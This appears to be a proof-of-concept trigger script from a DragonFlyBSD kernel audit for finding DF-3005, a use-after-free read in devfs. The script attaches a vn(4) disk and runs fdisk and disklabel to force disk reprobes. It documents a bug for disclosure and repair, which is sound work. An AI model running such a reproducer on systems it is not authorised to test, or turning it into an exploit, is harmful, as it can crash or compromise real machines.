⬢ DragonFlyBSD Kernel Audit
DF-3005 / trigger.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
# DF-3005 - post-free dev->si_name read in devfs_destroy_related_without_flag_worker
# Trigger: disk reprobe (DIOCSDINFO / DIOCSYNCSLICEINFO) on a vn(4) disk.
set -e

kldload -n vn || true
rm -f /tmp/df3005.img
dd if=/dev/zero of=/tmp/df3005.img bs=1m count=64 status=none
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /tmp/df3005.img

sysctl vfs.devfs.debug=3

# fdisk -I writes an MBR -> DIOCSYNCSLICEINFO -> DISK_DISK_REPROBE
#   -> devfs_destroy_related_without_flag(vn0, SI_REPROBE_TEST)
# disklabel -w -> DIOCWDINFO -> DIOCSDINFO -> DISK_SLICE_REPROBE
#   -> devfs_destroy_related_without_flag(vn0s?, SI_REPROBE_TEST)
fdisk -I vn0
disklabel -w vn0 auto

dmesg | tail -40